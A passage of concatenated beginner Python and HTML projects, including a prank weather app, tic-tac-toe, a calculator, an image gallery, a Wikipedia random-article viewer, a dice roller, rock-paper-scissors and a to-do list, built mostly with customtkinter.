        self.label.pack()
        self.forward_img = CTkImage(light_image=Image.open("images\\jerry.gif"), size=(199,199))
        self.front = CTkLabel(self, text="", image=self.forward_img)
        self.front.pack()


class ShowWhether(CTkToplevel):
    """A custom Tkinter Toplevel window that simulates a weather forecast process with text labels and a progress bar."""
    def __init__(self):
        """Initialize the ShowWhether Toplevel window."""
        super().__init__()
        self.title("AI weather forecast")
        set_appearance_mode("light")
        self.geometry("300x140")

        self.label = CTkLabel(self, text="Searching Location...")
        self.label.grid(row=0, padx=20, pady=20)

        self.label.after(1000, self.on_after)
        self.pb = CTkProgressBar(self, orientation="horizontal", mode="determinate")
        self.pb.grid(row=1, padx=20, pady=20)
        self.pb.set(0)
    def on_after(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Analyzing the clouds...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.on_after1)
        self.pb.set(0.25)

    def on_after1(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Looking outside your window...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.on_after2)
        self.pb.set(0.50)

    def on_after2(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Gathering last the information...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.last)
        self.pb.set(0.75)

    def last(self):
        """Finalize the weather forecast process and display the Fooled Toplevel window."""
        self.pb.set(1)
        show = Fooled()
        show.mainloop()


class Get_City(CTk):
    """A custom Tkinter main application class to get the user's location and initiate the weather forecast."""
    def __init__(self):
        """Initialize the Get_City application."""
        super().__init__()
        set_appearance_mode("light")
        self.title("AI weather forecast")

        self.geometry("400x175")
        self.label = CTkLabel(self, text="Enter your Location: ")
        self.label.pack(padx=20, pady=15)
        self.city = CTkEntry(self, placeholder_text="Enter Your city ")
        self.city.pack(padx=20, pady=10)

        self.check_weather = CTkButton(self, text="Check weather", command=self.weather)
        self.check_weather.pack(padx=20, pady=10)

    def weather(self):
        """Check if the city input is valid and initiate the weather forecast process."""
        if self.city.get() == "":
            print("Enter a city First")
        else:
            show = ShowWhether()
            show.mainloop()
if __name__ == "__main__":
    app = Get_City()
    app.mainloop()
import os
import numpy as np

class Game:
    def __init__(self):
        """Initialize a new Tic-Tac-Toe game with an empty game board."""
        self.game_arr = np.array([
                            [" ", " ", " "],
                            [" ", " ", " "],
                            [" ", " ", " "]
                         ])
        
    def update(self, row, column, new_val):
        """
        Update the game board with the player's move at the specified position.

        Parameters:
            row (int): The row index of the move.
            column (int): The column index of the move.
            new_val (str): The value of the player's move ("X" or "O").

        Raises:
            ValueError: If the new_val is not a valid move ("X" or "O").
        """
        valid = ["X", "x", "O", "o"]
        if new_val in valid:
            self.game_arr[row][column] = new_val
            self.make_grid(self.game_arr)
        else:
            print("Invalid Value!!")

    
    def make_grid(self,arr):
        """
        Display the current Tic-Tac-Toe game board.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.
        """
        print(f"""
{arr[0][0]} | {arr[0][1]} | {arr[0][2]}
----------
{arr[1][0]} | {arr[1][1]} | {arr[1][2]}
----------
{arr[2][0]} | {arr[2][1]} | {arr[2][2]}
""")

    def get_current_game(self):
        """
        Get the current state of the Tic-Tac-Toe game board.

        Returns:
            numpy.array: The 3x3 numpy array representing the game board.
        """
        return self.game_arr 
      
    def check_win(self, arr):
        """
        Check if there is a winning combination on the game board.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning combination, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        res_r = self.check_row(arr)
        if not res_r:
            res_c = self.check_col(arr)
            if not res_c:
                res_d = self.check_diag(arr)
                if not res_d:
                    return False
                else:
                    return [True,res_d[1]]
            else:
                return [True,res_c[1]]
        else:
            return [True,res_r[1]]

    
    def check_row(self, arr):
        """
        Check if any row on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning row, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        for i in arr:
            if i[0] == i[1] == i[2] != " ":
                return [True,i[0]]
        return False
        
    def check_col(self, arr):
        """
        Check if any column on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning column, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        for i in range(3):  # Assuming it's a 3x3 grid
            if arr[0][i] == arr[1][i] == arr[2][i] != " ":
                return [True, arr[0][i]]
        return False
    
    def check_diag(self, arr):
        """
        Check if any diagonal on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning diagonal, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        if arr[0][0] == arr[1][1] == arr[2][2] != " ":
            return [True,arr[0][0]]
        elif arr[0][2] == arr[1][1] == arr[2][0] != " ":
            return [True,arr[0][2]]
        else:
            return False
        
    def check_tie(self, arr) -> bool:
        """
        Check if the game has ended in a tie (draw).

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            bool: True if the game is a tie, False otherwise.
        """
        if " " in arr:
            return False
        else:
            return True
        
    def game_details(self):
        print("Enter your choice according to this: ")
        print("1. Top Left")
        print("2. Top Center")
        print("3. Top Right")
        print("4. Center Left")
        print("5. Center Center")
        print("6. Center Right")
        print("7. Bottom Left")
        print("8. Bottom Center")
        print("9. Bottom Right")


        
g = Game()
win = False
map_dict = {
            1:[0,0], 2:[0,1], 3:[0,2],
            4:[1,0], 5:[1,1], 6:[1,2],
            7:[2,0], 8:[2,1], 9:[2,2],
        }
players = {"O":"Player1", "X":"Player2"}
choices = []

while not win:
    g.game_details()
    g.make_grid(g.get_current_game())
    # getting input from player 1
    player1 = int(input("Player 1 Enter the Choice(1-9): "))
    # Checking if it's already taken
    while player1 in choices:
        print("Make another choice! It's already Taken!")
        player1 = int(input("Player 2 Enter the Choice(1-9): "))
    # updating according to the player1's choice
    g.update(map_dict[player1][0], map_dict[player1][1], "O")
    # Checking for tie
    if g.check_tie(g.get_current_game()):
        os.system('cls' if os.name == 'nt' else 'clear')
        g.make_grid(g.get_current_game())
        print("It's a tie!")
        break
    # checking if player 1 won
    check = g.check_win(g.get_current_game())
    try:
        if check[0]==True:
            os.system('cls' if os.name == 'nt' else 'clear')
            g.make_grid(g.get_current_game())
            print(f"{players[check[1]]} wins")
            win=True
            break
    except Exception:
        pass

    g.make_grid(g.get_current_game())
    choices.append(player1)
    # getting input from player 2
    player2 = int(input("Player 2 Enter the Choice(1-9): "))
    # Checking if it's already taken
    while player2 in choices:
        print("Make another choice! It's already Taken!")
        player2 = int(input("Player 2 Enter the Choice(1-9): "))
    # updating according to the player2's choice
    g.update(map_dict[player2][0], map_dict[player2][1], "X")
    # Checking for tie
    if g.check_tie(g.get_current_game()):
        os.system('cls' if os.name == 'nt' else 'clear')
        g.make_grid(g.get_current_game())
        print("It's a tie!")
        break
    # checking if player 2 won
    check2 = g.check_win(g.get_current_game())
    try:
        if check2[0]==True:
            os.system('cls' if os.name == 'nt' else 'clear')
            g.make_grid(g.get_current_game())
            print(f"{players[check2[1]]} wins")
            win=True
            break
    except Exception:
        pass
    g.make_grid(g.get_current_game())
    choices.append(player2)
from customtkinter import *
from PIL import Image
 
class App(CTk):
    def __init__(self):
        super().__init__()
        self.title("Personal Gallery")
        self.iconbitmap("images\\gallery.ico")  
        self.configure(fg_color="#181b1f")
 
        # setting up counter and images
        self.counter = 0
        # getting all the images in a list
        # If you have a lot of them, I suggest store them in a different file
        self.images = [CTkImage(light_image=Image.open("images\\forest.jpg"),size=(496.9,331.3)), 
                       CTkImage(light_image=Image.open("images\\moon.jpg"),size=(390.6,260.4)), 
                       CTkImage(light_image=Image.open("images\\mountain.jpg"),size=(654.1,436.1)), 
                       CTkImage(light_image=Image.open("images\\stone.jpg"),size=(593.7,416)), 
                       CTkImage(light_image=Image.open("images\\tree.jpg"),size=(624,416))]
         
        # images for buttons (forward and backward buttons)
        self.forward_img = CTkImage(light_image=Image.open("images\\forward.png"), size=(50,50))
        self.backward_img = CTkImage(light_image=Image.open("images\\backward.png"), size=(50,50))
 
        # label to show images
        self.il = CTkLabel(self,text="",image=self.images[self.counter])
        self.il.grid(row=0, column=0, columnspan=3, padx=10, pady=10)
 
        # buttons
        self.front = CTkButton(self, text="", image=self.forward_img, fg_color="transparent", hover_color="#181b1f", command=self.next_command)
        self.back = CTkButton(self, text="", image=self.backward_img, fg_color="transparent", hover_color="#181b1f", command=self.previous)
 
        self.front.grid(row=1, column=2, padx=10, pady=10)
        self.back.grid(row=1, column=0, padx=10, pady=10)
 
        # exit button
        self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
        self.qb.grid(row=1, column=1, padx=10, pady=10)
 
        # status bar
        self.status = CTkLabel(self, text=f"Image {self.counter + 1} of {len(self.images)}")
        self.status.grid(row=2, column=2, padx=25)
 
    def next_command(self):
        # To keep counter from being more than 4
        # (4+1)%5 = 0
        # ensures cycle
        self.counter = (self.counter + 1) % len(self.images)
        self.update()
 
    def previous(self):
        # To keep counter from being less than 0
        # (0-1)%5 = 4
        # ensures cycle
        self.counter = (self.counter - 1) % len(self.images)
        self.update()
 
    def update(self):
        # removes label from the grid
        self.il.grid_forget()
        # updating image
        self.il = CTkLabel(self,text="",image=self.images[self.counter])
        self.il.grid(row=0, column=0, columnspan=3, padx=10, pady=10)
 
        # updating status bar
        self.status = CTkLabel(self, text=f"Image {self.counter + 1} of {len(self.images)}")
        self.status.grid(row=2, column=2, padx=25)
 
if __name__ == '__main__':
    app = App()
    app.mainloop()
import requests
import wikipedia
from customtkinter import *
from tkinter import Label
import tkinter.messagebox as messagebox
import tkinter.font as tkfont
import webbrowser


class WikipediaArticle(CTk):
    def __init__(self):
        """Initialize the WikipediaArticle application."""
        super().__init__()
        # font for link
        self.custom_font = tkfont.Font(size=10, underline=True)
        # setting an empty label to avoid errors
        self.link = CTkLabel(self, text="")
        # button for generating random article
        self.get_article = CTkButton(self, text="Random Stuff", command=self.random_article_t_summary)
        self.get_article.grid(row=3, column=1 ,padx=10,pady=10)
        # button to copy article link
        self.copy_t = CTkButton(self, text="Copy Link", command=self.copy_text, fg_color="transparent")
        self.copy_t.grid(row=3, column=2 ,padx=10,pady=10)
        # button to open link in browser
        self.open_i = CTkButton(self, text="Open in browser", command=self.open_link)
        self.open_i.grid(row=3, column=0 ,padx=10,pady=10)

    def random_article_t_summary(self):
        """Generate a random Wikipedia article and display its title, summary, and link.
        uses the self.summarize_wikipedia_article() method"""
        url = requests.get("https://en.wikipedia.org/wiki/Special:Random")
        
        article_link = url.url
        title_and_summary = self.summarize_wikipedia_article(article_link)

        if title_and_summary:
            # getting link and title
            self.link = Label(self, text=article_link, fg="blue", font=self.custom_font)
            self.title = CTkLabel(self, text=title_and_summary[0])
            # getting summary
            self.random_article = CTkTextbox(self)
            self.random_article.insert("0.0", title_and_summary[1])
            self.random_article.configure(state="disabled")
            # packing title, summary, and link
            self.title.grid(row=0, column=1, padx=10)
            self.random_article.grid(row=1, column=1 ,padx=10,pady=10)
            self.link.grid(row=2, column=0, padx=10)
        
    def summarize_wikipedia_article(self,article_link):
        """
        Summarize a Wikipedia article based on its link.

        Args:
            article_link (str): The link to the Wikipedia article.

        Returns:
            list: A list containing the page title and summary of the article, or None if the article is not found.
        """
        # Extract the page title from the article link
        page_title = article_link.split("/")[-1]

        try:
            # Get the Wikipedia page based on the page title
            page = wikipedia.page(page_title)

            # Retrieve the summary of the page
            summary = page.summary

            return [page_title,summary]

        except wikipedia.exceptions.PageError:
            message = CTkLabel(self, text="Something went wrong! Try Again!")
            message.grid(row=4, column=1,padx=10, pady=10)
            return None
        
    def copy_text(self):
        # Get the text from the label
        text = self.link.cget("text")

        # Set the text to the clipboard
        self.clipboard_clear()
        self.clipboard_append(text)

        messagebox.showinfo("Copy", "Text copied to clipboard!")

    def open_link(self):
        try:
            webbrowser.open(self.link.cget("text"))
        except Exception:
            message = CTkLabel(self, text="Get the link first!")
            message.grid(row=4, column=1,padx=10, pady=10)
        
if __name__ == "__main__":
    app = WikipediaArticle()
    app.mainloop()
import random
import time
from os import system

#constants
MAX_ATTEMPTS = 10
MIN_NUMBER = 1
MAX_NUMBER = 50


def introduce() -> None:
    """Introduces player to the rules of the game."""
    print("You will get a total of 10 guesses.")
    time.sleep(2)
    print("In 10 guesses you have to guess the correct no. between 1 to 50.")
    time.sleep(2)
    print("READY???")
    for count in range(1, 4):
        print(count)
        time.sleep(1)
    print("GO")
    time.sleep(1)
    system("cls")

def play_number_guessing_game() -> None:
    """
    Plays the number guessing game.
    
    A random number is generated between MIN_NUMBER and MAX_NUMBER.

    The player is prompted to guess the number within a limited number of attempts.
    Feedback is provided after each guess.
    
    The game ends when the player guesses the correct number or exhausts all attempts.
    """
    num = random.randint(MIN_NUMBER, MAX_NUMBER)
    guess_list = []

    introduce()
    attempt = 1
    while attempt != (MAX_ATTEMPTS + 1):
        try:
            guess = int(input("Guess a no.:"))

        except ValueError:
            print("Enter a valid number!!")
            continue

        if guess == num:
            print(f"\n\nYou got it right in {attempt} attempts.\nThe no. is {num}")
            return
        elif guess in guess_list:
            print("You already guessed this no. before!")
        elif guess > num:
            print(f"The no. is less than {guess}")
            attempt += 1
            print(11-attempt,"Attempts left")
        elif guess < num:
            print(f"The no. is greater than {guess}")
            attempt += 1
            print(11-attempt,"Attempts left")
        guess_list.append(guess)

    if attempt>=10:
        system("cls")
        print("GAME OVER")
        print("The correct no. was",num)

if __name__ == "__main__":
    play_number_guessing_game()
# Calculator App
from customtkinter import CTk, CTkEntry, CTkButton

class App(CTk):
    def __init__(self):
        super().__init__()

        self.title("Calculator")
        # width
        self.evwidth = 400
        self.bwidth1 = self.evwidth/4 - 20

        # colors
        self.configure(fg_color="#181b1f")
        self.obc = "#fb2f64"
        self.obch = "#cc2753"
        self.nbc = "#181b1f"
        self.nbch= "#14161a"

        # values
        self.values = CTkEntry(master=self, width=self.evwidth)
        self.values.grid(row=0, column=0, columnspan=4, padx=10, pady=10)

        # number buttons
        self.button_1 = CTkButton(master=self, text="1", command=lambda: self.g_num("1"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_2 = CTkButton(master=self, text="2", command=lambda: self.g_num("2"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_3 = CTkButton(master=self, text="3", command=lambda: self.g_num("3"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_4 = CTkButton(master=self, text="4", command=lambda: self.g_num("4"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_5 = CTkButton(master=self, text="5", command=lambda: self.g_num("5"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_6 = CTkButton(master=self, text="6", command=lambda: self.g_num("6"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_7 = CTkButton(master=self, text="7", command=lambda: self.g_num("7"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_8 = CTkButton(master=self, text="8", command=lambda: self.g_num("8"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_9 = CTkButton(master=self, text="9", command=lambda: self.g_num("9"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_0 = CTkButton(master=self, text="0", command=lambda: self.g_num("0"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)

        # displaying number buttons
        self.button_1.grid(row=3, column=0, pady=5, padx=10)
        self.button_2.grid(row=3, column=1, pady=5, padx=10)
        self.button_3.grid(row=3, column=2, pady=5, padx=10)

        self.button_4.grid(row=2, column=0, pady=5, padx=10)
        self.button_5.grid(row=2, column=1, pady=5, padx=10)
        self.button_6.grid(row=2, column=2, pady=5, padx=10)

        self.button_7.grid(row=1, column=0, pady=5, padx=10)
        self.button_8.grid(row=1, column=1, pady=5, padx=10)
        self.button_9.grid(row=1, column=2, pady=5, padx=10)
        self.button_0.grid(row=4, column=0, pady=5, padx=10)
    
        # operation buttons
        self.add = CTkButton(master=self, text="+", command=lambda: self.operate("+"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.sub = CTkButton(master=self, text="-", command=lambda: self.operate("-"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.div = CTkButton(master=self, text="/", command=lambda: self.operate("/"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.mul = CTkButton(master=self, text="*", command=lambda: self.operate("*"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)

        self.equal = CTkButton(master=self, text="=", command=self.evaluate, width=self.bwidth1)
        self.clear = CTkButton(master=self, text="clear", command=self.all_clear, width=self.bwidth1)

        # displaying operation buttons
        self.add.grid(row=1, column=3, pady=5, padx=10)
        self.sub.grid(row=2, column=3, pady=5, padx=10)
        self.div.grid(row=3, column=3, pady=5, padx=10)
        self.mul.grid(row=4, column=3, pady=5, padx=10)

        self.equal.grid(row=4, column=1, pady=5, padx=10)
        self.clear.grid(row=4, column=2, pady=5, padx=10)


    def g_num(self, n):
        new_n = self.values.get()+n
        self.values.delete(0, END)
        self.values.insert(0, new_n)

    def all_clear(self):
        self.values.delete(0, END)

    def operate(self, o):
        self.f_num = int(self.values.get())
        self.op = o
        self.values.delete(0, END)

    def evaluate(self):
        s_num = int(self.values.get())
        self.values.delete(0, END)

        if self.op == "+":
            self.values.insert(0, self.f_num + s_num)
        elif self.op == "-":
            self.values.insert(0, self.f_num - s_num)
        elif self.op == "*":
            self.values.insert(0, self.f_num * s_num)
        elif self.op == "/":
            self.values.insert(0, self.f_num / s_num)


if __name__ == "__main__":
    app = App()
    app.mainloop()
from PIL import Image
import os
from pathlib import Path

def compress_image(image_path:str) -> None:
    '''Takes up a PNG file, compresses it and converts it to a WEBP.
    Uses the pillow, pathlib and os module to do this.
    Args:
        image_path: The path to the image (str)'''
    try:
        compression_level = 6
        img_nm = Path(os.path.basename(image_path))
        compressed_png_path =Path(f"images_webp/{img_nm}")

        if not(os.path.exists(compressed_png_path.with_suffix(".webp"))):
            # opening image
            img = Image.open(Path(image_path))
            # compressing image
            img.save(compressed_png_path, format="png", optimize=True, compress_level=compression_level)
            # opening compressed image
            img_compressed = Image.open(compressed_png_path)
            # Convert the compressed PNG to WebP
            img_compressed.save(compressed_png_path.with_suffix(".webp"), format="webp")
            # removing the compressed PNG
            os.remove(compressed_png_path)
        else:
            print("File already exists")

    except FileNotFoundError as e:
        print(f"Error: {e}")

paths = Path("images").glob("**/*.png")
for path in paths:
    compress_image(str(path))
from customtkinter import *
import random
from PIL import Image

class Dice(CTk):
    def __init__(self):
        super().__init__()

        self.title("Dice Stimulator")

        # Getting images into CTk
        self.dice1 = CTkImage(light_image=Image.open("images/dice1.png"), size=(300,300))
        self.dice2 = CTkImage(light_image=Image.open("images/dice2.png"), size=(300,300))
        self.dice3 = CTkImage(light_image=Image.open("images/dice3.png"), size=(300,300))
        self.dice4 = CTkImage(light_image=Image.open("images/dice4.png"), size=(300,300))
        self.dice5 = CTkImage(light_image=Image.open("images/dice5.png"), size=(300,300))
        self.dice6 = CTkImage(light_image=Image.open("images/dice6.png"), size=(300,300))

        # putting them in a list for random choice
        self.image_list = [self.dice1, self.dice2, self.dice3, self.dice4, self.dice5, self.dice6]
        # Information
        label = CTkLabel(self, text="press enter or click the button")
        label.grid(row=0, padx=10, pady=10)
        # Button to roll the dice
        btn = CTkButton(self, text="Roll The Dice", command=self.roll)
        btn.grid(row=2, padx=10, pady=10)
        # Connecting button to the enter key
        self.bind("<Return>", lambda event: btn.invoke())

    def roll(self):
        # choosing a random die face
        img = random.choice(self.image_list)
        # displaying it on the label
        self.label = CTkLabel(self, text="", image=img)
        self.label.grid(row=1, padx=10, pady=10)

if __name__ == "__main__":
    app = Dice()
    app.mainloop()
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options

from bs4 import BeautifulSoup
import requests

from customtkinter import *
from PIL import Image
from io import BytesIO

class Motivator(CTk):
    """A GUI application for displaying random motivational images. When you are sad."""
    def __init__(self) -> None:
        """
        Initialize the Motivator GUI.

        Sets up the main window, question label, image label, and "Show Motivation" button.
        """
        super().__init__()

        self.title("Random Motivation")
        self.geometry("600x600")
        # getting image
        self.question = CTkLabel(self, text="Are you sad? Click the button below.")
        self.question.grid(row=0, pady=10)
        self.sad_image = CTkImage(light_image=Image.open("images/sad.jpg"), size=(300,300))
        # making image label
        self.ilsad = CTkLabel(self, image=self.sad_image, text="")
        # displaying image label
        self.ilsad.grid(row=1, pady=10)
        # Button to get a random motivational image
        self.show_motivation = CTkButton(self, text="Show Motivation", command=self.show_image).grid(row=2, pady=10)

    def get_img_url(self) -> str:
        """
        Retrieve a random motivational image URL from Unsplash.

        Returns:
            str: The URL of the random motivational image.
        """
        print("Getting image...")
        print("Please wait...")
        print("It might take a while...")

        # configuring chrome options so that the browser doesn't open up
        chrome_options = Options()
        chrome_options.add_argument("--headless")  # Run Chrome in headless mode (no GUI)
        chrome_options.add_argument("--disable-gpu")  # Required on some systems to avoid issues

        # setting up selenium' chrome driver to get the web page
        chrome_driver_path = "C:\Development\chromedriver.exe"
        service = Service(executable_path=chrome_driver_path)
        driver = webdriver.Chrome(service=service, options=chrome_options)

        # getting the webpage
        driver.get("https://source.unsplash.com/random/1080x810?motivational+quote")
        # getting its source code
        source = driver.page_source
        # making a soup of the html code to parse through it well
        soup = BeautifulSoup(source, 'html.parser')
        # finding the source url of the image
        img_url = soup.find('img')['src']
        # quitting the driver (a good practice)
        driver.quit()

        print("Got the image showing it...")
        return img_url
    
    def show_image(self) -> None:
        """
        Fetch and display the image got from self.get_img_url.

        Uses the get_img_url method to fetch the image URL and displays it on the GUI.
        """
        # getting url from the above function
        img_url = self.get_img_url()
        # getting the source code of the image's web page
        response = requests.get(img_url)
        # converting code of image to an image readable by python
        image = Image.open(BytesIO(response.content))
        # getting the image in customtkinter
        img = CTkImage(image, size=(540,405))
        print("showing the image...")
        # showing the image with the use of label
        label = CTkLabel(self, image=img, text='')
        label.grid(row=1, pady=10)


if __name__ == "__main__":
    app = Motivator()
    app.mainloop()
# FILE: rock_paper_scissors_gui.py
from customtkinter import *
from PIL import Image
from rock_paper_scissors import game


class RPS(CTk):
    """
    A class representing the Rock Paper Scissors game GUI.

    Inherits from customtkinter.CTk.

    Attributes:
    None

    Methods:
    __init__: Initializes the GUI and sets up the game window.
    check: Function to handle the player's choice and display the game result.

    Usage:
    app = RPS()
    app.mainloop()
    """
    def __init__(self) -> None:
        """
        Initializes the Rock Paper Scissors GUI.

        Creates and configures the main game window.

        Parameters:
        None

        Returns:
        None
        """
        super().__init__()
        self.title("Rock Paper Scissors")
        self.geometry("500x600")

        self.Label = CTkLabel(self, text="Choose Rock Paper or Scissors").grid(row=0,column=2,padx=150)

        # Create an instance of the CTkImage class for the 'rock' choice image
        # using the light_image parameter to load the image file from the given path.
        # The size parameter is set to (100, 100) to resize the image to the specified dimensions.
        self.rock_img = CTkImage(light_image=Image.open("rock.png"), size=(100,100))
        # Create an instance of the CTkButton class for the 'rock' choice button.
        # The image parameter is set to the previously created CTkImage instance,
        # so the button will display the 'rock' image as its icon.
        # The text parameter is set to an empty string to hide any text on the button.
        # The fg_color parameter is set to "#242424", which represents the foreground color (text color) of the button.
        # The hover_color parameter is set to "#242424", which represents the background color of the button when hovered.
        # The command parameter is set to a lambda function that calls the 'self.check()' method with argument 0,
        # representing the 'rock' choice, when the button is clicked.
        self.ilr = CTkButton(self, image=self.rock_img, text="", fg_color="#242424", hover_color="#242424", command=lambda: self.check(0))
        # Position the 'rock' choice button in the grid layout at row 1 and column 2.
        # The padx parameter is set to 150 to add horizontal padding around the button to create spacing.
        self.ilr.grid(row=1,column=2,padx=150)

        self.paper_img = CTkImage(light_image=Image.open("paper.png"), size=(100,100))
        self.ilp = CTkButton(self, image=self.paper_img, text="", fg_color="#242424", hover_color="#242424", command=lambda: self.check(1))
        self.ilp.grid(row=2,column=2,padx=150)

        self.scissors_img = CTkImage(light_image=Image.open("scissors.png"), size=(100,100))
        self.ils = CTkButton(self, image=self.scissors_img, text="",fg_color="#242424", hover_color="#242424", command=lambda: self.check(2))
        self.ils.grid(row=3,column=2,padx=150)


        self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
        self.qb.grid(row=4,column=2,padx=150,pady=10)

    def check(self, player_choice: int) -> None:
        """
        Function to handle the player's choice and display the game result.

        Parameters:
        player_choice (int): The player's choice. Should be an integer between 0 and 2,
                             where 0 represents 'rock', 1 represents 'paper', and
                             2 represents 'scissors'.

        Returns:
        None
        """
        result = game(player_choice)
        res1 = CTkLabel(self, text=result[0],text_color ="#ADD8E6").grid(row=5,column=2,padx=150,pady=10)
        res2 = CTkLabel(self, text=result[1], text_color="pink").grid(row=6,column=2,padx=150,pady=10)
        res3 = CTkLabel(self, text=result[2]).grid(row=7,column=2,padx=150,pady=10)


if __name__ == "__main__":
    app = RPS()
    app.mainloop()
# FILE: rock_paper_scissors.py
import random

def game(your_choice: int) -> list:
    """
    Function to play a single round of Rock-Paper-Scissors game.

    Parameters:
    your_choice (int): The player's choice. Should be an integer between 0 and 2,
                       where 0 represents 'rock', 1 represents 'paper', and
                       2 represents 'scissors'.

    Returns:
    list: A list containing the results of the game round.
          The list elements are as follows:
          1. The player's choice.
          2. The computer's choice.
          3. The result of the round, which can be one of the following strings:
             - "Tie🤝" if the player and computer made the same choice.
             - "You won" if the player's choice beats the computer's choice.
             - "You lost" if the player's choice loses to the computer's choice.
    """
    choices = ["rock", "paper", "scissors"]
    computer_choice = random.randint(0, 2)
    
    # Create a dictionary to map the player's and computer's choices to outcomes
    outcomes = {
        (0, 0): "It's a Tie",
        (0, 1): "You lost",
        (0, 2): "You won",
        (1, 0): "You won",
        (1, 1): "It's a Tie",
        (1, 2): "You lost",
        (2, 0): "You lost",
        (2, 1): "You won",
        (2, 2): "It's a Tie",
    }

    result = [f"Your choice:\n{choices[your_choice]}", f"Computer's choice:\n{choices[computer_choice]}", outcomes[(your_choice, computer_choice)]]
    return result

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Well Done Champ</title>
</head>

<body>
    <script src="https://unpkg.com/@lottiefiles/lottie-player@latest/dist/lottie-player.js"></script>
    <lottie-player src="https://assets6.lottiefiles.com/packages/lf20_pKiaUR.json" background="transparent" speed="1" style="width: 300px; height: 300px;" loop autoplay></lottie-player>

</body>

</html>
import webbrowser
class TaskAlreadyExistsError(Exception):
    """Exception raised when a task already exists in the list."""
    def __init__(self, message):
        super().__init__(message)

class TaskNotFoundError(Exception):
    """Exception raised when a task is not found in the list."""
    def __init__(self, message):
        super().__init__(message)

class ToDo:
    """Class representing a to-do list."""

    def __init__(self) -> None:
        """Initialize an empty to-do list. Which is a dictionary"""
        self.tasks = {}

    def add_task(self, task:str, deadline:str) -> str:
        """Add a new task to the list.

        Args:
            task (str): The task description.
            deadline (str): The deadline in dd-mm-yy format.

        Returns:
            str: A confirmation message indicating that the task has been added.

        Raises:
            TaskAlreadyExistsError: If the task already exists in the list.
            TypeError: If the task parameter is not a string.
            ValueError: If the task parameter is an empty string.
        """
        if not isinstance(task, str):
            raise TypeError("Task must be a string.")
        if not task:
            raise ValueError("Task cannot be an empty string.")
        if task in self.tasks.keys():
            raise TaskAlreadyExistsError(f"{task} already exists in the list.")
        else:
            self.tasks[task] = {'status':False, 'deadline':deadline}
            print(self.tasks)
            return f"Task has been added to the list."
        
    def finish_task(self, task:str) -> str:
        """
        Mark a task as finished and open a web page for celebration.

        Args:
            task (str): The task to mark as finished.

        Returns:
            str: A message confirming that the task has been marked as finished.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            self.tasks[task]['status'] = True
            webbrowser.open("well_done.html")
            return "Task finished"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def remove_task(self, task:str) ->str:
        """
        Remove a task from the task list.

        Args:
            task (str): The task to remove.

        Returns:
            str: A message confirming that the task has been removed.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            del self.tasks[task]
            return "Task removed"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def update_task(self, task:str, new_deadline:str) -> str:
        """
        Update the status and deadline of a task.

        Args:
            task (str): The task to update.
            new_deadline (str): The new deadline for the task in dd-mm-yy format.

        Returns:
            str: A message confirming that the task has been updated.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            self.tasks[task] = {'status': False, 'deadline': new_deadline}
            return "Task updated"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def view_tasks(self) -> list:
        """View the tasks in the list.

        Returns:
            list: A list of task descriptions and their status or completion.

        Raises:
            TaskNotFoundError: If there are no tasks in the list.
        """
        try:
            task_list = []
            for task in self.tasks:
                if self.tasks[task]['status'] == False:
                    task_list.append(f"{task} by {self.tasks[task]['deadline']}")
                if self.tasks[task]['status'] == True:
                    task_list.append(f"{task} finished")
